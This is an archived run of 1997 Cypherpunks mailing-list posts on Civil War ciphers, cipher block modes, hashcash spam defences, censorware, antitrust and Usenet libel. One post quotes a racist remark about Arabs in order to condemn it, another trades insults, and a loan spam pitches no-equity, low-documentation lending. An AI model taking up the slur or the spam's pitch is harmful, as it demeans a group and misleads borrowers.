Forwarded message:

Date: Mon, 22 Dec 97 08:10:02 PST
From: jim at mentat.com (Jim Gillogly)
Subject: Re: Civil War Crypto Question... (fwd)
 
> > used for flag codes but not telegraphy.  For telegraphy the Union apparently
> > used a word-based route transposition that Friedman found unimpressive.
> >
> > Friedman? Who the hell is Friedman? None of my references has anyone by that
> > named listed, let alone involved.
 
> In case you weren't being ironic or something, Weber was referring to William
> F. Friedman, the star of the US cryptologic effort during WW2, who was
> commenting on the strength of the Union cryptosystems long after it was too
> late to do anything about them.  I gather the word-based route transposition
> was quite good enough to conceal the meaning from the Confederates, so I
> suppose one shouldn't be censorious.
 
Actualy that was so far out in left field that I didn't make the connection.

Really couldn't care less about Friedman and his WWII views of the Civil
War, not relevant to what I am doing. And further, if Friedman is claiming
that this code wheel wasn't invented by the telegraphers, for the
telegraphers then perhaps he isn't as historicaly accurate as some claim of
him. It is clear that Myer invented the code wheel, per his and McClellans
own documents, expressely for telegraphy as a direct results of the success
of Myers new flag signaling system previous to the Peninsula campaign.

Perhaps there is some confusion over exactly *which part* of the Union Army
was using what. McClellan was using Myer and his techno-marvels at the
tactical level and this had no relation to the strategic communications -
the big boys might very well have been using some fancy transposition
cipher.

After Antietam McClellan told Myer:

"When I start from this camp, I want to break loose from the regular
telegraph lines and depend upon those under my command."

The 'regular telegraph' was Military Telegraph which was the strategic
minded folks. That McClellan had no stomach for them is clear.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From tcmay at got.net  Mon Dec 22 08:53:18 1997
From: tcmay at got.net (Tim May)
Date: Tue, 23 Dec 1997 00:53:18 +0800
Subject: Get your Anthrax shots OR Jim Bell hits Sweden
In-Reply-To: 
Message-ID: 



At 7:35 AM -0700 12/22/97, Asgaard wrote:
>...
>Technology. Bell had several containers with poisonous
>chemicals in his garage. Right-wing extremist litterature
>and bomb-making manuals were found in his car. When
>interrogated, his acquaintances told that Bell had been
>trying to manufactor botulinum toxin from green beens.
>**********************************************************
>
>It's interesting to see the story grow when journalists
>quote from each other's sensationalist reports. Next time
>they need a face for a story on nuclear terrorism, I guess
>other devices might pop up retrospectively in Jim's garage.
>Perhaps he even had a suitcase there.

I'll take a stab at writing that squib, but journalists who use it should
credit me:

"Bell was also apparently planning a nuclear terrorism incident, as nuclear
materials were found attached to the ceiling in his home. When agents from
the Nuclear Emergency Search Team (N.E.S.T.) had successfully removed the
material, Bell was questioned about these nuclear materials. "It's just a
smoke detector!," he was reported to have claimed. N.E.S.T. officials
believe Bell was attempting to hide nuclear weapons components in ordinary
looking items. According to Special Agent  Emmanuel Goldstein, Bell was
practicing "nuclear steganography," a felony."

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From dlv at bwalk.dm.com  Mon Dec 22 09:03:52 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 01:03:52 +0800
Subject: Identity, Persistence, Anonymity, and Accountability--Part I
In-Reply-To: 
Message-ID: 



Paul Bradley  writes:

> >      You Own Your Own Posts: You own your own words. This means that you
> >      are responsible for the words that you post to Nym and that
> >      reproduction of those words without your permission in any medium
> >      outside of the Nym mailing list may be challenged by you, the
> >      author.
>
> I am sure I need not outline for the members of the list the reasons why
> such copyright supporting drivel is not really in the spirit of the list,
> no-one owns my words, not me, nor anyone else, copyrights and patents
> infringe true free speech.

Only assholes post to forger Declan's nym list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From txporter at mindspring.com  Mon Dec 22 09:04:54 1997
From: txporter at mindspring.com (Thomas Porter)
Date: Tue, 23 Dec 1997 01:04:54 +0800
Subject: Civil War Crypto Question... (fwd)
In-Reply-To: <199712221521.JAA17610@einstein.ssz.com>
Message-ID: <19971222120800.13559@vasili.rlf.org>



On Mon, Dec 22, 1997 at 09:21:05AM -0600, Jim Choate wrote:
> 
> Friedman? Who the hell is Friedman? None of my references has anyone by that
> named listed, let alone involved.

Tsk, Tsk, A cyppherpunk not knowing who Wiliam F. Friedman was?  Author of many
texts on cryptography, ... was a master at cryptanalysis during the two World
Wars and could be called the father of American cryptography.

around 1917, became the head of the Department of Ciphers. During this time
America became engaged in World War I. Intercepted messages were given to
Friedman and he was successful in breaking each and every one of them. 

Probably wrote analysis of early US military crypto systems that the
reference was drawn from.
-- 
Tom Porter                                       txporter at mindspring.com
------------------------------------------------------------------------
   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From nobody at REPLAY.COM  Mon Dec 22 09:11:44 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 23 Dec 1997 01:11:44 +0800
Subject: Hate speech and censorship
Message-ID: <199712221655.RAA22222@basement.replay.com>



On behalf of the non-racist cypherpunks, please accept an apology for
Paul Bradley's racist message:

> uneducated and foolish arabs such as Parekh should stick 
> to what they do best: running kebab shops and/or selling cheap fake rolex 
> watches to tourists. 

This does not reflect the mainstream view on the list.  Cypherpunks
understand that disparaging the racial background of others is a weak
and invalid form of argument.

While it may be appropriate to criticize actions taken during the list
moderation experiment, casting the issue in racial terms only reveals
the ignorance and bigotry of the writer.






From dlv at bwalk.dm.com  Mon Dec 22 09:11:46 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 01:11:46 +0800
Subject: Why I Support Microsoft
In-Reply-To: <3.0.2.32.19971222053134.038305f0@panix.com>
Message-ID: <5BD5He1w165w@bwalk.dm.com>



frissell at panix.com writes:

> At 01:18 PM 12/21/97 -0700, Tim May wrote:
>
> >Giving Clinton the cold shoulder was Intel. (Having worked for Craig
> >Barrett and Andy Grove, I can tell you that they despise the Democrats.)
> >
> >Though not on the radar screen quite yet, I expect the real action will be
> >targetted against Intel. Particularly if it looks like the Merced will
> >effectively displace all mainframe and business-sized CPUs.

I know for a fact that an action against Intel involving its putting graphics
on the CPU and/or support chips is in the works.

However saying that M$ is one of the good guys just because their position
on GAK and strong crypto is a little more palatable than Netscape's and
because they don't donate as much $$$ to the Democratic National Committee
as Netscape does is, IMO, a little too much of a stretch.

This is a baseless, lawless, outrageous action, but I'm glad it's aimed at
someone I don't like.

> aware of the nature of government (TJ Rogers of Cypress Semi par example), he
> would have just litigated the matter for 15 years or so and then when the
> decision came down it would be irrelevant no matter what it was.  What is the
> significance of a legal decision involving 15-year-old software?  But Bill
> didn't do that.  He signed the Consent Decree.  He thought that if one pays
> the Danegeld the Dane will stop bothering you.  It doesn't work that way.
> You sign an AntiTrust consent decree and you have the Feds beating you over
> the head with it for years.  [Ask the Great Atlantic and Pacific Tea Company
> which signed one in the 50's and almost ceased trading.]

Yep! And don't forget IBM's consent decree,s crewing it and its customers.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From emc at wire.insync.net  Mon Dec 22 09:16:01 1997
From: emc at wire.insync.net (Eric Cordian)
Date: Tue, 23 Dec 1997 01:16:01 +0800
Subject: Only the Paranoid Survive
Message-ID: <199712221712.LAA18556@wire.insync.net>



Intel CEO Andy Grove was just named Time Magazine's "Man of the Year"
for 1997.

-- 
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"






From 123pacific at compuserve.com  Tue Dec 23 01:21:13 1997
From: 123pacific at compuserve.com (123pacific at compuserve.com)
Date: Tue, 23 Dec 1997 01:21:13 -0800 (PST)
Subject: HOMEOWNERS: Cut your Pmts in HALF!
Message-ID: <123pacific@compuserve.com>


HOME OWNERS

You can cut your debt payments in half with our "1-2-3 Express" loan series

FREE Benefit Analysis sent to you within 24 hrs. via e-mail!
  
  See our web site for details at

  http://www.123loan.com
  
  Or call us TOLL FREE at 1-800-242-1212 Ext. 271.
  
We are offering you a FREE Benefit Analysis and Credit Report so that you can determine if our "1-2-3 Express" loan will benefit you. By this time tomorrow you'll know:
  
  1. How much money you can save each month.
  2. How much money you can save each year.
  3. Your potential Tax Benefits.
  4. Your total savings over 5 years.
  5. How quickly you can be DEBT FREE without changing your lifestyle!
  6. How to begin this simple process.
  
  This exciting offer is ABSOLUTELY FREE and without obligation!
  Simply complete our on-line form at
 
  http://www.123loan.com/loanapp.htm

  and your analysis will be sent to you via e-mail within 24hrs.
  
  Program Highlights:
  * Absolutely NO EQUITY Required!
  * 200% LTV OK!
  * No Appraisal Required!
  * LOW and NO Income Documentation Options!
  * Low Fixed Interest Rates!
  * Pay Off Debt!
  * Improve Your Home!
  * Use the Money for Many Purposes!
  
We are a highly automated DIRECT LENDER and will respond quickly and professionally to your inquiry. Remember, once we provide you with this FREE Benefit Analysis you are under no obligation to proceed. This offer is for informational purposes.
  
  
  ///////////////////////////////////////////////////////////////////////////////
  This offer is intended for Homeowners only.
  If you wish to be removed from future mailings, please
  mailto:pacific1 at imailbox.com, and type "Remove" in the subject line
  and we will automatically block you from future mailings.
  ////////////////////////////////////////////////////////////////////////////////
  
  Copyright 1997 WorldNet Financial, a division of Pacific Shore Funding.
  The information contained in this email message may not be published,
  broadcast, rewritten, or otherwise distributed without the express 
  written consent of  WorldNet Financial, a division of Pacific Shore Funding.
  
  This offer is extended to residents of CA, CO, FL, ID, MN, NM, OH, OR, UT,
  VA, WA, WY, MD, SC, AK, AR, CT, DE, HI, KY, ME, MS, MO, TN
  
  There are a few states where we are not allowed to extend
  this offer.  If you live in one of those states, this 
  offer is not valid.
  
  Pacific Shore Funding is a Licensed Real Estate Broker and direct lender.








From brianbr at together.net  Mon Dec 22 09:25:59 1997
From: brianbr at together.net (Brian B. Riley)
Date: Tue, 23 Dec 1997 01:25:59 +0800
Subject: Frank Olson
Message-ID: <199712221720.MAA27987@mx01.together.net>



-----BEGIN PGP SIGNED MESSAGE-----

On 12/22/97 4:46 AM, Bill Stewart (bill.stewart at pobox.com)  passed
this wisdom:

>Mail covers have been legal for a long time as well -
>as with pen registers on phones, they don't need a warrant to
>track your traffic.

 They do however need a formal letter from some LEA person to the
postmaster stating that your mail is of interest. Generally the USPS
guys are pretty specific on those counts; they have been burned in the
past. Further, if you should happen to be friendly with your
postmaster or one of your postal persons (the joys of living in a
small town) there is little to keep them from telling you that someone
is watching your mail; except of course; the displeasure of the LEA,
but its not covered by any laws, since they don't have a warrant. Of
course if you are really doing something nasty and illegal  being
anything more than 'the guy in Box 213' to your postmaster might have
its downsides.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJ6e/j7r4fUXwraZAQGiTwf+OZuP5QleHtZS5bNBce2kyi2skNoSH30K
uYiQ9+EMqr5IZq8KSGHM4E6QD7hjRZLEWtEelQ3A6SdRl/oXIEHDpi/rVTZOrYd4
+zyyXYbwjgk6voK4I0Em5Uus6qFUBLIRdASfQAXa7gMtQDilvcTsCq6SrlK5+pxt
LOUEkk6INOGlaEdfxT3l/3CIq3G/7VTDWkNoycg+OLKHiuX7KiLKS22ZeujqULFp
T3mRwZwD9uyehRtghPMT3KNaGqzV8CJXVTTBbEYctW0fBhjI24iUQ1/2bo6POjEO
MD9lNya60BYlBDjDdg+pvtFqGMFRhMMd1LidOjNfLLeiIj/0nKjTnA==
=DuQO
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
  For PGP Keys  

  "Do not go where the path may lead, go instead where there is 
   no path, and leave a trail."  - Ralph Waldo Emerson







From brianbr at together.net  Mon Dec 22 09:36:08 1997
From: brianbr at together.net (Brian B. Riley)
Date: Tue, 23 Dec 1997 01:36:08 +0800
Subject: Coercive Monopolism vs Wimpyness
Message-ID: <199712221732.MAA28575@mx01.together.net>



-----BEGIN PGP SIGNED MESSAGE-----

  I will preface these comments by saying that I run two boxes here a
Power Mac, on which I do most of my work, and a WinNT4/Linux dual boot
box as well.

On 12/22/97 4:50 AM, Secret Squirrel (anon at squirrel.owl.de)  passed
this wisdom:

>>And, since Windows OS is so pitifully lousy, why do people continue
>>to buy it, even without the computer attached;  why do they continue
>>to upgrade, even if it's so slow and bloated?   Don't they realize
>>Unix is better? Don't they realize they're just making Billg richer?

>Want to play a game from the store? Windows 95.

 or a Mac (admittedly not as many hybrids or mac-only titles)

>Want to install a new image in your Flash RAM on your motherboard? 
>DOS (Windows 95).

   on a Mac? who needs it?

>Want to have vendor-produced drivers? Windows 95.

   or a Mac

>Want to parse MS Turd documents? Windows 95 and MS Office.

  MacLinkPlus translators (bundled with OS) handles all WinDoze docs
(often better than WinDoze itself!)

>Want to use a Windows-specific bullshit class registration system 
>at your university? Windows 95.

  (ugh!)

>Happened to buy a printer? It won't say "Yes! It works with 
>Ghostscript!" Infact it won't say anything about hardware 
>compatability. It'll just say "Windows drivers included" along with 
>a list of a bunch of software that Idon't want and don't need. So 
>if it happens that the printer is nonstandard...Windows 
>95.

  most of the top manufacturers have Mac drivers. Epson printers even
come with Mac and PC interefaces built in

>Have a bunch of people in the office who don't care about platform 
>compatability and pass around Windows-specific document types or 
>programs? Windows 95.

  same answer as above MacLinkPlus translators

>Have a bunch of people in the office who, simply because Windows 
>and sometimes MacOS are taught as "computer education" in many 
>universities and public schools can't use anything else? Windows 95.

 point, to you, but, the aim is not to produce an extra 500,000
CompSci educated users. It is to provide a useful tool for the masses.
Windows (who stole its interface from mac who stole it from xerox)
type GUIs are easier to use than CLIs, it is only since the
entrenchment of GUIs that they have come forth in the Unix/Linux
world.

>Have to use a university computer lab? The machines are probably 
>running Windows 95. So you wind up with an incentive to use Windows 
>95 elsewhere. So...again, Windows 95.

 another point to you. as a high school teacher in an area where there
is a large IBM plant (read that as a lot of IBM employed taxpayers). I
watched with dismay as more and more IBM and compatibles have grown to
take over the lab. We have a fulltime hard wired Internet connection
from the state of Vermont and yet its all but useless half the time
because of one windows problem or another. The lab coordinator spends
more time fixing WinDoze compatability problem than teaching computer
use.

>Want to have a working copy of PGP 5.0 while everybody else has 
>started sending out DH-encrypted/signed messages and rolled DH 
>keys? Windows 95. (Yeah, yeah. The source was released in book 
>form.) 

 PGP5 Mac came out early also

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJ6kLD7r4fUXwraZAQH0rAf+LgoBszMSgqJ2OSKOP0p5jCW1uTM/exeE
O/C+V9VqMwnGbJjybMWU7arcqzntNlE/34matvXcm3Iz16gKt172rMfC46eewQ2W
AQE/OC/lu2V8kBm9USsE7xwc7/ff26aJAwFVtZs5qE3vdkGaprsh15qwLEF9NPZM
Kffg0sBhPxYvxAkZKUMqvGx44wt+qD/HYShEiAyd8UzBVWAFWKzZMA2v/ijd/YNJ
uv+umnP2W1eNYw6SChVDZEFbtagtQ4TSqXPKON41UHAlkAQ0aNydSFzxDctOoYbf
yozTSzQvzomL1gDK7bqqQnVSKvOxyLGaDoYEH7lb1H4ZgoNLZQtxMg==
=ZGQU
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  

 "The illiterate of the 21st century will not be those who cannot read and
  write, but those who cannot learn, unlearn, and relearn."   -Alvin 
Toffler







From jongalt at everest.pinn.net  Mon Dec 22 09:51:02 1997
From: jongalt at everest.pinn.net (Jon Galt)
Date: Tue, 23 Dec 1997 01:51:02 +0800
Subject: UK spooks invent RSA, DH in 1973
In-Reply-To: 
Message-ID: 



On Wed, 17 Dec 1997, Steve Schear wrote:

> I believe the GATT we signed prohibits so-called submarine patents which are  filed or issued significantly after their date of inception, frequently due to delaying tactics by the filer in the patent office.  If so, no gov't newly filed claims should affect the issued patents.

Really???  Wow.  You actually signed GATT?  You and who else were you 
referring to?

______________________________________________________________________
Jon Galt
e-mail:  jongalt at pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
Democracy is two wolves and a sheep voting on what to have for dinner.
______________________________________________________________________






From honig at otc.net  Mon Dec 22 10:12:23 1997
From: honig at otc.net (David Honig)
Date: Tue, 23 Dec 1997 02:12:23 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: 
Message-ID: <3.0.5.32.19971222100447.007d28c0@otc.net>



At 10:23 AM 12/22/97 -0500, Declan McCullagh wrote:
>
>
>     Mainstream Loudoun, a local group, and 11 other
>plaintiffs are challenging Loudoun County's decision to
>adopt one of the country's most iron-handed Internet
>policies, The Netly News has learned. In October, the
>library board voted to buy software called X-Stop that
>forbids both children and adults from visiting many
>sexually explicit web sites -- and plenty of innocuous ones
>too, such as Quaker and AIDS resources.
>
>     The plaintiffs hope to persuade a federal judge that
>X-Stop's overzealousness violates not just traditions of
>intellectual freedom in libraries, but the First Amendment
>as well. The 47-page complaint, which calls the
>restrictions "a harsh and censorial solution in search of a
>problem," also challenges a rule encouraging librarians to
>look over your shoulder and make snap judgments on which
>web sites should be off limits.
>


Note that if the library in question were not arm of the State,
noone would have any First Amendment claim.

This is reminiscent of TM's recent (controversial) analysis of the fired
county trashworker/author,
and suggests a clearer example of the confusion caused by State as Employer:

It is considered legal and moral for a *private employer* can use
censorware to restrict their LAN's access.
But if the employer is the State, and does this, the First might be dragged
in -confusing the issue,
since the government acting as State is constrained (by the constitution)
differently from the government
acting as Employer (constrained by employment law).

Perhaps some critical of Tim's analysis think that when government is
employer it can't censor its LAN?  Can't remove games from government owned
PCs?  

When the government removes games, pictures, etc. from its PCs it is acting
as a responsible efficient employer.
When the government attempts to remove games, pictures, etc. from stores it
is acting criminally.








------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith

















From bill.stewart at pobox.com  Mon Dec 22 10:16:21 1997
From: bill.stewart at pobox.com (bill.stewart at pobox.com)
Date: Tue, 23 Dec 1997 02:16:21 +0800
Subject: Civil War Crypto Question... (fwd)
In-Reply-To: <199712221521.JAA17610@einstein.ssz.com>
Message-ID: <3.0.3.32.19971222082144.006f97d0@popd.ix.netcom.com>



At 09:21 AM 12/22/1997 -0600, Jim Choate wrote:
>> My impression from this and from the chapter summary is that the disk was
>> used for flag codes but not telegraphy.  For telegraphy the Union apparently
>> used a word-based route transposition that Friedman found unimpressive.
...
>Friedman? Who the hell is Friedman? None of my references has anyone by that
>named listed, let alone involved.

Friedman was the WWII / Korean War cryptographer who wrote some of the
main surveys of crypto at the time.  In particular, he wrote a 4-volume set
of books, some of which were declassified, and some which became declassified
after a lawsuit by John Gilmore.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From honig at otc.net  Mon Dec 22 10:17:32 1997
From: honig at otc.net (David Honig)
Date: Tue, 23 Dec 1997 02:17:32 +0800
Subject: Question on CFB variant with c[i-N]
In-Reply-To: 
Message-ID: <3.0.5.32.19971222091025.007aee10@otc.net>



At 06:46 PM 12/20/97 -0700, Johnson, Michael P (Mike) wrote:
>
>
>>>              cfb    Ciphertext feeback mode
>>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>>                     p[i] = f1(K, c[i-1]) ^ c[i]
>


Suppose instead of c[i-1] you use c[i-N] where N is say 10. 
How would you prove that this has no security implications?
That 10-way interleaved cfb streams are security-equivalent to
a single cfb stream interleaved with the immediately previous block?



------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith

















From honig at otc.net  Mon Dec 22 10:18:23 1997
From: honig at otc.net (David Honig)
Date: Tue, 23 Dec 1997 02:18:23 +0800
Subject: ECB, CBC, CFB, OFB
In-Reply-To: <199712202235.XAA24669@basement.replay.com>
Message-ID: <3.0.5.32.19971222090219.007ce1b0@otc.net>



At 11:35 PM 12/20/97 +0100, Anonymous wrote:
>Can somebody more experienced than I am explain the strengths and weaknesses
>of these encryption modes as applied to CAST, IDEA, DES, and Blowfish?
>
>>       -m mode
>>              Set the transfer mode.
>>
>>              Valid ENCRYPTION modes are:
>>
>>              ecb    Electronic codebook mode
>>                     c[i] = f1(K, p[i])
>>                     p[i] = f2(K, c[i])
>>
>>              cbc    Ciphertext block chaining mode
>>                     c[i] = f1(K, p[i] ^ c[i-1])
>>                     p[i] = f2(K, c[i]) ^ c[i-1]
>>
>>              cfb    Ciphertext feeback mode
>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>                     p[i] = f2(K, c[i-1]) ^ c[i]
>>
>>              ofb    Output feeback mode
>>                     h[i] = f1(K, h[i-1])
>>                     c[i] = p[i] ^ h[i]
>>                     p[i] = c[i] ^ h[i]
>
>

A partial answer on why feedback is better than codebook mode: 
consider a video signal, with large amounts of uniform background.  Encrypted
with a codebook mode cipher, silhouettes will be visible since the uniform
background
will map to the same cipher value.  NB: the "uniformity" must span a block,
e.g., 64 bits for BF.

The tradeoff is 1. slightly increased latency & complexity 2. an error in
your output stream mangles
more data than in ECB mode.

Feeding a stream of zeros into a feedback-mode cipher produces a
pseudo-random output stream...in a good cipher.



------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith

















From aba at dcs.ex.ac.uk  Mon Dec 22 10:18:44 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Tue, 23 Dec 1997 02:18:44 +0800
Subject: message dependent hashcash => no double spend database  (Re: hashcash spam prevention & firewalls)
In-Reply-To: <199712182121.QAA04394@users.invweb.net>
Message-ID: <199712221801.SAA00366@server.eternity.org>




William Geiger  writes:
> Well IMNSHO hashcahs mail sucks!! It opens up the pandora's box of usage
> based charges for everything done on the 'net. What will be next? FTP
> sites charging hashcash for DL's? WebPages charging hashcash per hit? DNS
> servers charging per lookup? Routers charging per packet?

We already pay usage charges indirectly.

That is to say, in the UK you pay per second phone line charges.  It
would actually save me money if the net was a bit more responsive.  If
I was paying packet delivery at guaranteed performance, I would spend
less money on the phone charges.

Flat rate charges is nice enough, and the way I would like things to
stay, however I tend to think that usage charges would not be as bad
as you expect, because it would put competitive pressure on ISPs to
provide performance.

(My current ISP has truly pitiful performance.)

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 no double spend database  (Re: hashcash spam prevention & firewalls)
In-Reply-To: <349b9ea2.5036920@128.2.84.191>
Message-ID: <199712221807.SAA00377@server.eternity.org>




Phelix  writes:
> On 17 Dec 1997 02:21:48 -0600, in local.cypherpunks you wrote:
> 
> >.....
> >> The implementation of the plan is a more or less impossible scheme. 
> >
> >Nyet. It can be phased in over time...people install the software, mailing
> >lists warn their users to exempt them, and the big servers start asking for the
> >hashcash, little servers pick it up. 
> >
> >.....
> 
> Yes, but if you just phase it in over time, what benefit, if any, will
> users see until hashcash is fully deployed.  

No spam in their mail boxes :-)

> Until that time, people will still have to accept email without
> hashcash or risk losing important messages.

You could work around this somewhat by configuring the hashcash filter
to put nonces (a random number) in the bounce messages for messages
which arrived without hashcash.

The instructions could read:

	Email to this address requires hashcash postage.  To generate
	your hashcash postage get software from here: 

	Alternatively simply reply to this message putting this number
	in the subject field: 12347651324

The danger is that the spammer could abuse this by automating the
reply to these bounce messages.  However spammers typically don't like
to include a valid reply address, so this at least makes spammers
include an address where they can be replied to.

> We need to find some way for users to benefit from hashcash now, not 2
> years from now when 90% of sites are using it.  The only thing I can think
> of is having servers place "Hashcash-verified" headers on incoming mail so
> that users can do positive filtering ("this is valid email") rather than
> negative filtering ("this is spam").
> 
> I don't see people adopting hashcash unless there is some intermediate
> benefit to doing so.

An easily observable tag in the subject field such as: [SPAM?] meaning
no hashcash or [NEW] meaning you had never received messages from this
address before could be useful perhaps.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199712221755.RAA00355@server.eternity.org>




Bill Stewart  writes:
> >This is exactly what I was addressing: remailers only have to get
> >themselves certified as remailers and then prove their certification
> >to the destination
> 
> You're both taking the wrong approach - make the originator of the
> message generate the hashcash, and make sure the remailer syntax
> lets them paste it in as needed.  For chained remailers, generate
> multiple layers of hashcash.  Maintaining whitelists is a losing
> game, but unnecessary here.

This works well enough.

The more thorny problem to solve is that posed by Robert Costner: what
do you do about nyms.  You (the sender) can't include postage for nym
reply blocks because you don't know (and mustn't know) the remailer
chain pointed to by the reply block.

> Mailing lists are still hard, and perhaps best handled by the user's
> software (or some fancy variant like user-selectable filters at the
> ISP mailbox.)

I think it's simplest to have the user explicitly allow the mailing
list.

You could possibly auto detect the pattern of a user subscribing to a
mailing list at the mail filter level also.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <19971222182005.21737.qmail@nym.alias.net>




-----BEGIN PGP SIGNED MESSAGE-----

gburnore at netcom.com (Gary L. Burnore) wrote:

> :  I suspect that there is very little that can be done, and
> :that holds true for non-anonymous posts as well.  Just looking at some of the
> :massive cross-posts with subject lines that say "So-and-so is a pedophile"
> :(some of them with Netcom addresses who seem to be able to hang onto their
> :accounts despite making such accusations),
>  
> I think it's more that those who are "accused" are likely not suing because of
> the cost and trouble.

That's a decision each individual has to make.  Usenet is full of blowhards
that keep threatening to sue over real or imagined grievances, but never do.
You're merely pointing out the impracticalities of Politas' suggestions about
punishing usenet wrongdoers.  Why go to the bother of implementing protocols
which invade the privacy of innocent users just to catch the occasional law
breaker if it's not worth the cost and trouble to sue the culprit once he's 
identified?
 
> : I'd say that usenet is a different
> :ballgame from the print media where for-profit publishers have deeper pockets.
>  
> Exactly, deeper pockets.

That and the fact that it's easier to prove actual damages via the print media
because people tend to believe paper and ink more than they do usenet posts.
Usenet posts are taken with a grain (or ton) of salt by most readers.
 
> :The problem with tort laws is that to successfully sue for libel you have to
> :prove damages as well as prove that what was said was false. Thus, you'd have
> :to prove to a jury that someone made a defamatory statement about you that was
> :false, that people believed it, and that your reputation has suffered
> :measurably as a result.
>  
> That's usually not difficult.  One person says you did something you didn't
> do. As soon as a second person repeats what the first person said, you've
> proof that people believed it. That's reason enough to say your reputation has 
> suffered.

You'd also have to prove that the person who repeated it didn't already think
you were a n'eer-do-well prior to the post.  If somebody already thinks you're 
a shady character and a post merely reinforces that belief, it'd be hard to 
make a case that your reputation had been damaged by that post.  The case 
you'd have to make is that a person previously thought your character was 
impeccable until an anonymous post convinced him that you were a scoundrel.  
I suspect that would be a hard sell with most juries.  Most people put the 
credibility of usenet posts (even non-anonymous ones) on par with things they 
find scrawled on rest room walls.

> :  Identifying the person who posted the message is only  
> :a small part of the problem.
>  
> It's the biggest piece of the puzzle.  Without it, the rest is useless.

And it's not much better with non-anonymous posts.  When confronted with making
a defamatory post, one can always claim that it was forged, or that someone
hacked his account, stole his password, or used a terminal that was 
inadvertently left logged in while the person was at lunch to make the 
defamatory post without his knowledge or consent.  Without some reliable means 
of authentication, such as PGP signing, how are you going to prove that the 
person named as the poster really posted it?  Inserting a remailer into this 
scenario only adds an additional link to an already tenuous chain of evidence.

> :Moreover, if the plaintiff has attained the status of a "public figure", he  
> :has to prove additionally that the defendant KNOWINGLY and MAILICIOUSLY  
> :published FALSE information.
>  
> That too would be easy in USENet.  I say you did something you didn't do.  You
> say "post evidence or shut up".  I say it again or even just follow up to your
> "post evidence or shut up" message and I'm doing it knowingly.

The person could easily justify saving the evidence to be used in his defense 
for a courtroom rather than revealing it on usenet, though.  A "post evidence 
or shut up" challenge really does nothing to put a person on notice that his 
claims are false.  It's always possible that the statements were true and that 
the challenger is bluffing in the hope that the accuser really has no 
evidence.  Remember, the test is whether the poster KNEW his statements were 
false.
 
> :  Thus, if you said that Clinton sexually harassed
> :Paula Jones, it's unlikely that the President could sue you and win. He'd have
